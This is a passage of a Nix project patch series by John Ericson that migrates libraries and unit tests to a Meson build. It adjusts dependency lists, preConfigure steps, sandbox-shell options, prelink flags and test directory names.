--- a/src/libfetchers-test/meson.build
+++ b/src/libfetchers-test/meson.build
@@ -17,16 +17,11 @@ cxx = meson.get_compiler('cpp')
 subdir('build-utils-meson/deps-lists')
 
 deps_private_maybe_subproject = [
-]
-deps_public_maybe_subproject = [
-  dependency('nix-util'),
-  dependency('nix-util-c'),
-  dependency('nix-util-test-support'),
-  dependency('nix-store'),
-  dependency('nix-store-c'),
   dependency('nix-store-test-support'),
   dependency('nix-fetchers'),
 ]
+deps_public_maybe_subproject = [
+]
 subdir('build-utils-meson/subprojects')
 
 subdir('build-utils-meson/export-all-symbols')
@@ -43,8 +38,6 @@ add_project_arguments(
   '-include', 'config-util.hh',
   '-include', 'config-store.hh',
   '-include', 'config-store.hh',
-  '-include', 'config-util.h',
-  '-include', 'config-store.h',
   language : 'cpp',
 )
 
diff --git a/src/libfetchers-test/package.nix b/src/libfetchers-test/package.nix
index f4d3f3b731e..78d8ab490be 100644
--- a/src/libfetchers-test/package.nix
+++ b/src/libfetchers-test/package.nix
@@ -67,9 +67,11 @@ mkDerivation (finalAttrs: {
   ];
 
   preConfigure =
-    # "Inline" .version so it's not a symlink, and includes the suffix
+    # "Inline" .version so it's not a symlink, and includes the suffix.
+    # Do the meson utils, without modification.
     ''
       echo ${version} > .version
+      cp -r ${../../build-utils-meson} build-utils-meson
     '';
 
   mesonFlags = [
diff --git a/src/libfetchers/meson.build b/src/libfetchers/meson.build
index 257e15766ac..d5703bbb380 100644
--- a/src/libfetchers/meson.build
+++ b/src/libfetchers/meson.build
@@ -30,7 +30,7 @@ nlohmann_json = dependency('nlohmann_json', version : '>= 3.9')
 deps_public += nlohmann_json
 
 libgit2 = dependency('libgit2')
-deps_public += libgit2
+deps_private += libgit2
 
 add_project_arguments(
   # TODO(Qyriad): Yes this is how the autoconf+Make system did it.
diff --git a/src/libfetchers/package.nix b/src/libfetchers/package.nix
index d2560255e8c..0146f5aa543 100644
--- a/src/libfetchers/package.nix
+++ b/src/libfetchers/package.nix
@@ -69,9 +69,11 @@ mkDerivation (finalAttrs: {
   ];
 
   preConfigure =
-    # "Inline" .version so its not a symlink, and includes the suffix
+    # "Inline" .version so it's not a symlink, and includes the suffix.
+    # Do the meson utils, without modification.
     ''
       echo ${version} > .version
+      cp -r ${../../build-utils-meson} build-utils-meson
     '';
 
   env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) {
diff --git a/src/libflake-test/meson.build b/src/libflake-test/meson.build
index dd3f658bec5..b8221b2ad15 100644
--- a/src/libflake-test/meson.build
+++ b/src/libflake-test/meson.build
@@ -17,19 +17,11 @@ cxx = meson.get_compiler('cpp')
 subdir('build-utils-meson/deps-lists')
 
 deps_private_maybe_subproject = [
-]
-deps_public_maybe_subproject = [
-  dependency('nix-util'),
-  dependency('nix-util-c'),
-  dependency('nix-util-test-support'),
-  dependency('nix-store'),
-  dependency('nix-store-c'),
-  dependency('nix-store-test-support'),
-  dependency('nix-expr'),
-  dependency('nix-expr-c'),
   dependency('nix-expr-test-support'),
   dependency('nix-flake'),
 ]
+deps_public_maybe_subproject = [
+]
 subdir('build-utils-meson/subprojects')
 
 subdir('build-utils-meson/export-all-symbols')
@@ -46,9 +38,6 @@ add_project_arguments(
   '-include', 'config-util.hh',
   '-include', 'config-store.hh',
   '-include', 'config-expr.hh',
-  '-include', 'config-util.h',
-  '-include', 'config-store.h',
-  '-include', 'config-expr.h',
   language : 'cpp',
 )
 
diff --git a/src/libflake-test/package.nix b/src/libflake-test/package.nix
index f03f58619da..4fb190706bd 100644
--- a/src/libflake-test/package.nix
+++ b/src/libflake-test/package.nix
@@ -67,9 +67,11 @@ mkDerivation (finalAttrs: {
   ];
 
   preConfigure =
-    # "Inline" .version so it's not a symlink, and includes the suffix
+    # "Inline" .version so it's not a symlink, and includes the suffix.
+    # Do the meson utils, without modification.
     ''
       echo ${version} > .version
+      cp -r ${../../build-utils-meson} build-utils-meson
     '';
 
   mesonFlags = [
diff --git a/src/libflake/meson.build b/src/libflake/meson.build
index e43d21dd32a..30f98dce66a 100644
--- a/src/libflake/meson.build
+++ b/src/libflake/meson.build
@@ -29,9 +29,6 @@ subdir('build-utils-meson/subprojects')
 nlohmann_json = dependency('nlohmann_json', version : '>= 3.9')
 deps_public += nlohmann_json
 
-libgit2 = dependency('libgit2')
-deps_public += libgit2
-
 add_project_arguments(
   # TODO(Qyriad): Yes this is how the autoconf+Make system did it.
   # It would be nice for our headers to be idempotent instead.
diff --git a/src/libflake/package.nix b/src/libflake/package.nix
index 1280df7b7d9..523da4b78c5 100644
--- a/src/libflake/package.nix
+++ b/src/libflake/package.nix
@@ -69,9 +69,11 @@ mkDerivation (finalAttrs: {
   ];
 
   preConfigure =
-    # "Inline" .version so its not a symlink, and includes the suffix
+    # "Inline" .version so it's not a symlink, and includes the suffix.
+    # Do the meson utils, without modification.
     ''
       echo ${version} > .version
+      cp -r ${../../build-utils-meson} build-utils-meson
     '';
 
   env = lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) {
diff --git a/src/libstore-c/package.nix b/src/libstore-c/package.nix
index 2ed78a760d8..d0e81b1f9d0 100644
--- a/src/libstore-c/package.nix
+++ b/src/libstore-c/package.nix
@@ -62,9 +62,11 @@ mkDerivation (finalAttrs: {
   ];
 
   preConfigure =
-    # "Inline" .version so it's not a symlink, and includes the suffix
+    # "Inline" .version so it's not a symlink, and includes the suffix.
+    # Do the meson utils, without modification.
     ''
       echo ${version} > .version
+      cp -r ${../../build-utils-meson} build-utils-meson
     '';
 
   mesonFlags = [
diff --git a/src/libstore-test-support/package.nix b/src/libstore-test-support/package.nix
index a28f54e2a3e..0f4ea73bad2 100644
--- a/src/libstore-test-support/package.nix
+++ b/src/libstore-test-support/package.nix
@@ -64,9 +64,11 @@ mkDerivation (finalAttrs: {
   ];
 
   preConfigure =
-    # "Inline" .version so it's not a symlink, and includes the suffix
+    # "Inline" .version so it's not a symlink, and includes the suffix.
+    # Do the meson utils, without modification.
     ''
       echo ${version} > .version
+      cp -r ${../../build-utils-meson} build-utils-meson
     '';
 
   mesonFlags = [
diff --git a/src/libstore-test/meson.build b/src/libstore-test/meson.build
index 6599b2d9661..bfd827b010b 100644
--- a/src/libstore-test/meson.build
+++ b/src/libstore-test/meson.build
@@ -17,15 +17,12 @@ cxx = meson.get_compiler('cpp')
 subdir('build-utils-meson/deps-lists')
 
 deps_private_maybe_subproject = [
-]
-deps_public_maybe_subproject = [
-  dependency('nix-util'),
-  dependency('nix-util-c'),
-  dependency('nix-util-test-support'),
   dependency('nix-store'),
   dependency('nix-store-c'),
   dependency('nix-store-test-support'),
 ]
+deps_public_maybe_subproject = [
+]
 subdir('build-utils-meson/subprojects')
 
 subdir('build-utils-meson/export-all-symbols')
diff --git a/src/libstore-test/package.nix b/src/libstore-test/package.nix
index b57adfea5f7..0a49f1a0595 100644
--- a/src/libstore-test/package.nix
+++ b/src/libstore-test/package.nix
@@ -69,9 +69,11 @@ mkDerivation (finalAttrs: {
   ];
 
   preConfigure =
-    # "Inline" .version so it's not a symlink, and includes the suffix
+    # "Inline" .version so it's not a symlink, and includes the suffix.
+    # Do the meson utils, without modification.
     ''
       echo ${version} > .version
+      cp -r ${../../build-utils-meson} build-utils-meson
     '';
 
   mesonFlags = [
diff --git a/src/libstore/package.nix b/src/libstore/package.nix
index 5af1a781529..a08fabff765 100644
--- a/src/libstore/package.nix
+++ b/src/libstore/package.nix
@@ -87,9 +87,11 @@ mkDerivation (finalAttrs: {
   ];
 
   preConfigure =
-    # "Inline" .version so it's not a symlink, and includes the suffix
+    # "Inline" .version so it's not a symlink, and includes the suffix.
+    # Do the meson utils, without modification.
     ''
       echo ${version} > .version
+      cp -r ${../../build-utils-meson} build-utils-meson
     '';
 
   mesonFlags = [
diff --git a/src/libutil-c/package.nix b/src/libutil-c/package.nix
index 37f2291b557..ba1dbe38ad5 100644
--- a/src/libutil-c/package.nix
+++ b/src/libutil-c/package.nix
@@ -60,9 +60,11 @@ mkDerivation (finalAttrs: {
   ];
 
   preConfigure =
-    # "Inline" .version so it's not a symlink, and includes the suffix
+    # "Inline" .version so it's not a symlink, and includes the suffix.
+    # Do the meson utils, without modification.
     ''
       echo ${version} > .version
+      cp -r ${../../build-utils-meson} build-utils-meson
     '';
 
   mesonFlags = [
diff --git a/src/libutil-test-support/package.nix b/src/libutil-test-support/package.nix
index c6a0f018353..795159ebfc7 100644
--- a/src/libutil-test-support/package.nix
+++ b/src/libutil-test-support/package.nix
@@ -62,9 +62,11 @@ mkDerivation (finalAttrs: {
   ];
 
   preConfigure =
-    # "Inline" .version so it's not a symlink, and includes the suffix
+    # "Inline" .version so it's not a symlink, and includes the suffix.
+    # Do the meson utils, without modification.
     ''
       echo ${version} > .version
+      cp -r ${../../build-utils-meson} build-utils-meson
     '';
 
   mesonFlags = [
diff --git a/src/libutil-test/meson.build b/src/libutil-test/meson.build
index b90148f2113..19157cda3a1 100644
--- a/src/libutil-test/meson.build
+++ b/src/libutil-test/meson.build
@@ -17,12 +17,12 @@ cxx = meson.get_compiler('cpp')
 subdir('build-utils-meson/deps-lists')
 
 deps_private_maybe_subproject = [
-]
-deps_public_maybe_subproject = [
   dependency('nix-util'),
   dependency('nix-util-c'),
   dependency('nix-util-test-support'),
 ]
+deps_public_maybe_subproject = [
+]
 subdir('build-utils-meson/subprojects')
 
 subdir('build-utils-meson/export-all-symbols')
diff --git a/src/libutil-test/package.nix b/src/libutil-test/package.nix
index 391f8d85326..396e41f3d36 100644
--- a/src/libutil-test/package.nix
+++ b/src/libutil-test/package.nix
@@ -69,9 +69,11 @@ mkDerivation (finalAttrs: {
   ];
 
   preConfigure =
-    # "Inline" .version so it's not a symlink, and includes the suffix
+    # "Inline" .version so it's not a symlink, and includes the suffix.
+    # Do the meson utils, without modification.
     ''
       echo ${version} > .version
+      cp -r ${../../build-utils-meson} build-utils-meson
     '';
 
   mesonFlags = [
diff --git a/src/libutil/package.nix b/src/libutil/package.nix
index ef5e251fb3f..aff338d16d9 100644
--- a/src/libutil/package.nix
+++ b/src/libutil/package.nix
@@ -79,9 +79,11 @@ mkMesonDerivation (finalAttrs: {
 
   preConfigure =
     # TODO: change release process to add `pre` in `.version`, remove it before tagging, and restore after.
+    # Do the meson utils, without modification.
     ''
       chmod u+w ./.version
       echo ${version} > ../../.version
+      cp -r ${../../build-utils-meson} build-utils-meson
     '';
 
   mesonFlags = [

From 17c843c5c536e6f9266003956a8251a7882ecccc Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Thu, 27 Jun 2024 19:30:58 -0400
Subject: [PATCH 479/528] Fix more issues

---
 package.nix                |  5 +----
 packaging/dependencies.nix | 13 ++++++++++---
 2 files changed, 11 insertions(+), 7 deletions(-)

diff --git a/package.nix b/package.nix
index 28d7e788fcc..da3a069fadd 100644
--- a/package.nix
+++ b/package.nix
@@ -207,10 +207,7 @@ in {
     libsodium
     openssl
     sqlite
-    (toml11.overrideAttrs (old: {
-      # TODO change in Nixpkgs, Windows works fine.
-      meta.platforms = lib.platforms.all;
-    }))
+    toml11
     xz
     ({ inherit readline editline; }.${readlineFlavor})
   ] ++ lib.optionals enableMarkdown [
diff --git a/packaging/dependencies.nix b/packaging/dependencies.nix
index b2349f02ca6..909a0a38eb8 100644
--- a/packaging/dependencies.nix
+++ b/packaging/dependencies.nix
@@ -10,6 +10,7 @@
   stdenv,
   versionSuffix,
 }:
+
 let
   inherit (pkgs) lib;
 
@@ -52,7 +53,7 @@ scope: {
     enableLargeConfig = true;
   };
 
-  # Hack until https://github.com/NixOS/nixpkgs/issues/45462 is fixed.
+  # TODO Hack until https://github.com/NixOS/nixpkgs/issues/45462 is fixed.
   boost = (pkgs.boost.override {
     extraB2Args = [
       "--with-container"
@@ -61,8 +62,8 @@ scope: {
     ];
   }).overrideAttrs (old: {
     # Need to remove `--with-*` to use `--with-libraries=...`
-    buildPhase = pkgs.lib.replaceStrings [ "--without-python" ] [ "" ] old.buildPhase;
-    installPhase = pkgs.lib.replaceStrings [ "--without-python" ] [ "" ] old.installPhase;
+    buildPhase = lib.replaceStrings [ "--without-python" ] [ "" ] old.buildPhase;
+    installPhase = lib.replaceStrings [ "--without-python" ] [ "" ] old.installPhase;
   });
 
   libgit2 = pkgs.libgit2.overrideAttrs (attrs: {
@@ -96,5 +97,11 @@ scope: {
     '';
   });
 
+  # TODO change in Nixpkgs, Windows works fine. First commit of
+  # https://github.com/NixOS/nixpkgs/pull/322977 backported will fix.
+  toml11 = pkgs.toml11.overrideAttrs (old: {
+    meta.platforms = lib.platforms.all;
+  });
+
   mkMesonDerivation = f: stdenv.mkDerivation (lib.extends localSourceLayer f);
 }

From 7312d13acc134f57a4b959f035cac6f661c469cd Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Thu, 27 Jun 2024 19:35:54 -0400
Subject: [PATCH 480/528] Keep another test dir

---
 src/libflake-test/data/.gitkeep | 0
 1 file changed, 0 insertions(+), 0 deletions(-)
 create mode 100644 src/libflake-test/data/.gitkeep

diff --git a/src/libflake-test/data/.gitkeep b/src/libflake-test/data/.gitkeep
new file mode 100644
index 00000000000..e69de29bb2d

From 874ff000d4f7e661e7e95d608f6ab7083f563d6a Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Thu, 27 Jun 2024 20:41:03 -0400
Subject: [PATCH 481/528] Fix format

---
 maintainers/flake-module.nix | 2 +-
 src/libcmd/network-proxy.cc  | 3 ++-
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix
index b78e5f63a38..c0373dee425 100644
--- a/maintainers/flake-module.nix
+++ b/maintainers/flake-module.nix
@@ -15,7 +15,7 @@
           excludes = [
             # We don't want to format test data
             # ''tests/(?!nixos/).*\.nix''
-            ''^src/[^/]*-test/[^/]*/data/.*$''
+            ''^src/[^/]*-test/data/.*$''
 
             # Don't format vendored code
             ''^doc/manual/redirects\.js$''
diff --git a/src/libcmd/network-proxy.cc b/src/libcmd/network-proxy.cc
index 47be311cd1e..738bf614729 100644
--- a/src/libcmd/network-proxy.cc
+++ b/src/libcmd/network-proxy.cc
@@ -13,7 +13,8 @@ static StringSet getAllVariables()
     StringSet variables = lowercaseVariables;
     for (const auto & variable : lowercaseVariables) {
         std::string upperVariable;
-        std::transform(variable.begin(), variable.end(), upperVariable.begin(), [](unsigned char c) { return std::toupper(c); });
+        std::transform(
+            variable.begin(), variable.end(), upperVariable.begin(), [](unsigned char c) { return std::toupper(c); });
         variables.insert(std::move(upperVariable));
     }
     return variables;

From f7ce10dbc15635ebc652d4746c74e437a964881e Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Fri, 28 Jun 2024 14:26:04 -0400
Subject: [PATCH 482/528] Fix static build

---
 package.nix              |  4 ++--
 src/libstore/meson.build | 27 ++++++++++++++-------------
 src/libstore/package.nix |  7 +++++--
 3 files changed, 21 insertions(+), 17 deletions(-)

diff --git a/package.nix b/package.nix
index da3a069fadd..041786d47fa 100644
--- a/package.nix
+++ b/package.nix
@@ -33,7 +33,7 @@
 , rapidcheck
 , sqlite
 , toml11
-, util-linux
+, unixtools
 , xz
 
 , busybox-sandbox-shell ? null
@@ -195,7 +195,7 @@ in {
     man # for testing `nix-* --help`
   ] ++ lib.optionals (doInstallCheck || enableManual) [
     jq # Also for custom mdBook preprocessor.
-  ] ++ lib.optional stdenv.hostPlatform.isLinux util-linux
+  ] ++ lib.optional stdenv.hostPlatform.isStatic unixtools.hexdump
   ;
 
   buildInputs = lib.optionals doBuild [
diff --git a/src/libstore/meson.build b/src/libstore/meson.build
index 62137ef5fa6..0686a591e0e 100644
--- a/src/libstore/meson.build
+++ b/src/libstore/meson.build
@@ -99,15 +99,6 @@ deps_public += nlohmann_json
 sqlite = dependency('sqlite3', 'sqlite', version : '>=3.6.19')
 deps_private += sqlite
 
-
-enable_embedded_sandbox_shell = get_option('embedded-sandbox-shell')
-if enable_embedded_sandbox_shell
-  # This one goes in config.h
-  # The path to busybox is passed as a -D flag when compiling this_library.
-  # Idk why, ask the old buildsystem.
-  configdata.set('HAVE_EMBEDDED_SANDBOX_SHELL', 1)
-endif
-
 generated_headers = []
 foreach header : [
   'schema.sql',
@@ -122,7 +113,13 @@ foreach header : [
   )
 endforeach
 
-if enable_embedded_sandbox_shell
+busybox = find_program(get_option('sandbox-shell'), required : false)
+
+if get_option('embedded-sandbox-shell')
+  # This one goes in config.h
+  # The path to busybox is passed as a -D flag when compiling this_library.
+  # Idk why, ask the old buildsystem.
+  configdata.set('HAVE_EMBEDDED_SANDBOX_SHELL', 1)
   hexdump = find_program('hexdump', native : true)
   embedded_sandbox_shell_gen = custom_target(
     'embedded-sandbox-shell.gen.hh',
@@ -371,11 +368,15 @@ cpp_str_defines += {
   'LSOF': lsof_path
 }
 
-#if busybox.found()
+if get_option('embedded-sandbox-shell')
   cpp_str_defines += {
-#    'SANDBOX_SHELL': busybox.full_path()
+    'SANDBOX_SHELL': '__embedded_sandbox_shell__'
   }
-#endif
+elif busybox.found()
+  cpp_str_defines += {
+    'SANDBOX_SHELL': busybox.full_path()
+  }
+endif
 
 cpp_args = []
 
diff --git a/src/libstore/package.nix b/src/libstore/package.nix
index a08fabff765..d4859a411ab 100644
--- a/src/libstore/package.nix
+++ b/src/libstore/package.nix
@@ -5,6 +5,7 @@
 , meson
 , ninja
 , pkg-config
+, unixtools
 
 , nix-util
 , boost
@@ -20,6 +21,8 @@
 
 , versionSuffix ? ""
 
+, embeddedSandboxShell ? stdenv.hostPlatform.isStatic
+
 # Check test coverage of Nix. Probably want to use with at least
 # one of `doCheck` or `doInstallCheck` enabled.
 , withCoverageChecks ? false
@@ -66,7 +69,7 @@ mkDerivation (finalAttrs: {
     meson
     ninja
     pkg-config
-  ];
+  ] ++ lib.optional embeddedSandboxShell unixtools.hexdump;
 
   buildInputs = [
     boost
@@ -96,7 +99,7 @@ mkDerivation (finalAttrs: {
 
   mesonFlags = [
     (lib.mesonEnable "seccomp-sandboxing" stdenv.hostPlatform.isLinux)
-    (lib.mesonBool "embedded-sandbox-shell" stdenv.hostPlatform.isStatic)
+    (lib.mesonBool "embedded-sandbox-shell" embeddedSandboxShell)
   ] ++ lib.optionals stdenv.hostPlatform.isLinux [
     (lib.mesonOption "sandbox-shell" "${busybox-sandbox-shell}/bin/busybox")
   ];

From 912c517bc067f35caab5225822ab2fb8b3ccb1fb Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Fri, 28 Jun 2024 14:57:10 -0400
Subject: [PATCH 483/528] Fix build of unit tests

---
 src/libexpr-c/meson.build     |  3 +++
 src/libstore-c/meson.build    |  3 +++
 src/libstore-test/meson.build |  3 +++
 src/libstore-test/package.nix | 13 ++++++++++---
 src/libutil-c/meson.build     |  3 +++
 5 files changed, 22 insertions(+), 3 deletions(-)

diff --git a/src/libexpr-c/meson.build b/src/libexpr-c/meson.build
index 3c5d9e6b790..fa970c3a2b9 100644
--- a/src/libexpr-c/meson.build
+++ b/src/libexpr-c/meson.build
@@ -69,6 +69,9 @@ headers = [config_h] + files(
   'nix_api_value.h',
 )
 
+# TODO don't install this once tests don't use it.
+headers += files('nix_api_expr_internal.h')
+
 subdir('build-utils-meson/export-all-symbols')
 
 this_library = library(
diff --git a/src/libstore-c/meson.build b/src/libstore-c/meson.build
index 4f2d77d9fce..93ce979601b 100644
--- a/src/libstore-c/meson.build
+++ b/src/libstore-c/meson.build
@@ -61,6 +61,9 @@ headers = [config_h] + files(
   'nix_api_store.h',
 )
 
+# TODO don't install this once tests don't use it.
+headers += files('nix_api_store_internal.h')
+
 subdir('build-utils-meson/export-all-symbols')
 
 this_library = library(
diff --git a/src/libstore-test/meson.build b/src/libstore-test/meson.build
index bfd827b010b..6bf0a5028b3 100644
--- a/src/libstore-test/meson.build
+++ b/src/libstore-test/meson.build
@@ -27,6 +27,9 @@ subdir('build-utils-meson/subprojects')
 
 subdir('build-utils-meson/export-all-symbols')
 
+sqlite = dependency('sqlite3', 'sqlite', version : '>=3.6.19')
+deps_private += sqlite
+
 rapidcheck = dependency('rapidcheck')
 deps_private += rapidcheck
 
diff --git a/src/libstore-test/package.nix b/src/libstore-test/package.nix
index 0a49f1a0595..e37e6488623 100644
--- a/src/libstore-test/package.nix
+++ b/src/libstore-test/package.nix
@@ -9,6 +9,7 @@
 , nix-store
 , nix-store-c
 , nix-store-test-support
+, sqlite
 
 , rapidcheck
 , gtest
@@ -64,6 +65,7 @@ mkDerivation (finalAttrs: {
     nix-store
     nix-store-c
     nix-store-test-support
+    sqlite
     rapidcheck
     gtest
   ];
@@ -94,10 +96,15 @@ mkDerivation (finalAttrs: {
 
   passthru = {
     tests = {
-      run = runCommand "${finalAttrs.pname}-run" {
-      } ''
+      run = let
+        # Inline some drv files shared with the libexpr tests
+        data = runCommand "${finalAttrs.pname}-test-data" {} ''
+          cp -r --no-preserve=mode ${./data} $out
+          cp -r --remove-destination ${../../tests/functional/derivation}/* $out/derivation/
+        '';
+      in runCommand "${finalAttrs.pname}-run" {} ''
         PATH="${lib.makeBinPath [ finalAttrs.finalPackage ]}:$PATH"
-        export _NIX_TEST_UNIT_DATA=${./data}
+        export _NIX_TEST_UNIT_DATA=${data}
         nix-store-test
         touch $out
       '';
diff --git a/src/libutil-c/meson.build b/src/libutil-c/meson.build
index 5e12186d24c..2fa1bd42420 100644
--- a/src/libutil-c/meson.build
+++ b/src/libutil-c/meson.build
@@ -57,6 +57,9 @@ headers = [config_h] + files(
   'nix_api_util.h',
 )
 
+# TODO don't install this once tests don't use it.
+headers += files('nix_api_util_internal.h')
+
 subdir('build-utils-meson/export-all-symbols')
 
 this_library = library(

From 513f6b971855947de8ac9a344319eace77e9c2ad Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Fri, 28 Jun 2024 17:02:23 -0400
Subject: [PATCH 484/528] meson: Prelink links to avoid missing C++
 initializers

This is the same as what the old build system did in
7eca8a16eaf74bc15a816e24005a65e5480d2a79, done for the same reasons.
---
 src/libexpr-c/meson.build             | 1 +
 src/libexpr-test-support/meson.build  | 1 +
 src/libexpr/meson.build               | 1 +
 src/libfetchers/meson.build           | 1 +
 src/libflake/meson.build              | 1 +
 src/libstore-c/meson.build            | 1 +
 src/libstore-test-support/meson.build | 1 +
 src/libstore/meson.build              | 1 +
 src/libutil-c/meson.build             | 1 +
 src/libutil-test-support/meson.build  | 1 +
 src/libutil/meson.build               | 1 +
 src/perl/lib/Nix/meson.build          | 1 +
 12 files changed, 12 insertions(+)

diff --git a/src/libexpr-c/meson.build b/src/libexpr-c/meson.build
index fa970c3a2b9..fb9ade28d0b 100644
--- a/src/libexpr-c/meson.build
+++ b/src/libexpr-c/meson.build
@@ -80,6 +80,7 @@ this_library = library(
   dependencies : deps_public + deps_private + deps_other,
   include_directories : include_dirs,
   link_args: linker_export_flags,
+  prelink : true, # For C++ static initializers
   install : true,
 )
 
diff --git a/src/libexpr-test-support/meson.build b/src/libexpr-test-support/meson.build
index d42b0532bf8..7056722049e 100644
--- a/src/libexpr-test-support/meson.build
+++ b/src/libexpr-test-support/meson.build
@@ -63,6 +63,7 @@ this_library = library(
   # TODO: Remove `-lrapidcheck` when https://github.com/emil-e/rapidcheck/pull/326
   #       is available. See also ../libutil/build.meson
   link_args: linker_export_flags + ['-lrapidcheck'],
+  prelink : true, # For C++ static initializers
   install : true,
 )
 
diff --git a/src/libexpr/meson.build b/src/libexpr/meson.build
index 04822d1796d..9fe7c17c4e5 100644
--- a/src/libexpr/meson.build
+++ b/src/libexpr/meson.build
@@ -193,6 +193,7 @@ this_library = library(
   lexer_tab,
   generated_headers,
   dependencies : deps_public + deps_private + deps_other,
+  prelink : true, # For C++ static initializers
   install : true,
 )
 
diff --git a/src/libfetchers/meson.build b/src/libfetchers/meson.build
index d5703bbb380..c39fe99f316 100644
--- a/src/libfetchers/meson.build
+++ b/src/libfetchers/meson.build
@@ -82,6 +82,7 @@ this_library = library(
   'nixfetchers',
   sources,
   dependencies : deps_public + deps_private + deps_other,
+  prelink : true, # For C++ static initializers
   install : true,
 )
 
diff --git a/src/libflake/meson.build b/src/libflake/meson.build
index 30f98dce66a..d3c3d3079cf 100644
--- a/src/libflake/meson.build
+++ b/src/libflake/meson.build
@@ -64,6 +64,7 @@ this_library = library(
   'nixflake',
   sources,
   dependencies : deps_public + deps_private + deps_other,
+  prelink : true, # For C++ static initializers
   install : true,
 )
 
diff --git a/src/libstore-c/meson.build b/src/libstore-c/meson.build
index 93ce979601b..426f07a34e0 100644
--- a/src/libstore-c/meson.build
+++ b/src/libstore-c/meson.build
@@ -72,6 +72,7 @@ this_library = library(
   dependencies : deps_public + deps_private + deps_other,
   include_directories : include_dirs,
   link_args: linker_export_flags,
+  prelink : true, # For C++ static initializers
   install : true,
 )
 
diff --git a/src/libstore-test-support/meson.build b/src/libstore-test-support/meson.build
index e278bd3f80a..ddb067c1b52 100644
--- a/src/libstore-test-support/meson.build
+++ b/src/libstore-test-support/meson.build
@@ -65,6 +65,7 @@ this_library = library(
   # TODO: Remove `-lrapidcheck` when https://github.com/emil-e/rapidcheck/pull/326
   #       is available. See also ../libutil/build.meson
   link_args: linker_export_flags + ['-lrapidcheck'],
+  prelink : true, # For C++ static initializers
   install : true,
 )
 
diff --git a/src/libstore/meson.build b/src/libstore/meson.build
index 0686a591e0e..f94a454da15 100644
--- a/src/libstore/meson.build
+++ b/src/libstore/meson.build
@@ -396,6 +396,7 @@ this_library = library(
   include_directories : include_dirs,
   cpp_args : cpp_args,
   link_args: linker_export_flags,
+  prelink : true, # For C++ static initializers
   install : true,
 )
 
diff --git a/src/libutil-c/meson.build b/src/libutil-c/meson.build
index 2fa1bd42420..3f0d9628201 100644
--- a/src/libutil-c/meson.build
+++ b/src/libutil-c/meson.build
@@ -68,6 +68,7 @@ this_library = library(
   dependencies : deps_public + deps_private + deps_other,
   include_directories : include_dirs,
   link_args: linker_export_flags,
+  prelink : true, # For C++ static initializers
   install : true,
 )
 
diff --git a/src/libutil-test-support/meson.build b/src/libutil-test-support/meson.build
index a36aa2a000b..7d0e9c2fc30 100644
--- a/src/libutil-test-support/meson.build
+++ b/src/libutil-test-support/meson.build
@@ -59,6 +59,7 @@ this_library = library(
   # TODO: Remove `-lrapidcheck` when https://github.com/emil-e/rapidcheck/pull/326
   #       is available. See also ../libutil/build.meson
   link_args: linker_export_flags + ['-lrapidcheck'],
+  prelink : true, # For C++ static initializers
   install : true,
 )
 
diff --git a/src/libutil/meson.build b/src/libutil/meson.build
index c878080670a..ac2b8353674 100644
--- a/src/libutil/meson.build
+++ b/src/libutil/meson.build
@@ -249,6 +249,7 @@ this_library = library(
   dependencies : deps_public + deps_private + deps_other,
   include_directories : include_dirs,
   link_args: linker_export_flags,
+  prelink : true, # For C++ static initializers
   install : true,
 )
 
diff --git a/src/perl/lib/Nix/meson.build b/src/perl/lib/Nix/meson.build
index 9a79245cd5e..256e6609652 100644
--- a/src/perl/lib/Nix/meson.build
+++ b/src/perl/lib/Nix/meson.build
@@ -43,6 +43,7 @@ nix_perl_store_lib = library(
   'Store',
   sources : nix_perl_store_cc,
   name_prefix  : '',
+  prelink : true, # For C++ static initializers
   install : true,
   install_mode : 'rwxr-xr-x',
   install_dir : join_paths(nix_perl_install_dir, 'auto', 'Nix', 'Store'),

From 3ad39d2afb50e42c6479c4007da10fde9262cc68 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Fri, 28 Jun 2024 17:17:20 -0400
Subject: [PATCH 485/528] Fix library name

---
 src/libfetchers/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/src/libfetchers/package.nix b/src/libfetchers/package.nix
index 0146f5aa543..681ffa1127f 100644
--- a/src/libfetchers/package.nix
+++ b/src/libfetchers/package.nix
@@ -38,7 +38,7 @@ let
 in
 
 mkDerivation (finalAttrs: {
-  pname = "nix-flake";
+  pname = "nix-fetchers";
   inherit version;
 
   src = fileset.toSource {

From 496b4a9cd2d097569ab52804559355f014fee2e3 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Sat, 29 Jun 2024 10:31:08 -0400
Subject: [PATCH 486/528] Move around unit test dirs to match new names

---
 .gitignore                                    |  10 +-
 doc/manual/src/contributing/testing.md        |   4 +-
 maintainers/flake-module.nix                  | 120 +++++++++---------
 meson.build                                   |  16 +--
 packaging/components.nix                      |  16 +--
 packaging/hydra.nix                           |  10 +-
 src/internal-api-docs/doxygen.cfg.in          |  16 +--
 .../.version                                  |   0
 .../build-utils-meson                         |   0
 .../meson.build                               |   0
 .../package.nix                               |   0
 .../tests/libexpr.hh                          |   0
 .../tests/nix_api_expr.hh                     |   0
 .../tests/value/context.cc                    |   0
 .../tests/value/context.hh                    |   0
 src/{libexpr-test => nix-expr-tests}/.version |   0
 .../build-utils-meson                         |   0
 .../data/.gitkeep                             |   0
 .../derived-path.cc                           |   0
 .../error_traces.cc                           |   0
 src/{libexpr-test => nix-expr-tests}/eval.cc  |   0
 src/{libexpr-test => nix-expr-tests}/json.cc  |   0
 src/{libexpr-test => nix-expr-tests}/main.cc  |   0
 .../meson.build                               |   2 +-
 .../nix_api_expr.cc                           |   0
 .../nix_api_external.cc                       |   0
 .../nix_api_value.cc                          |   0
 .../package.nix                               |   4 +-
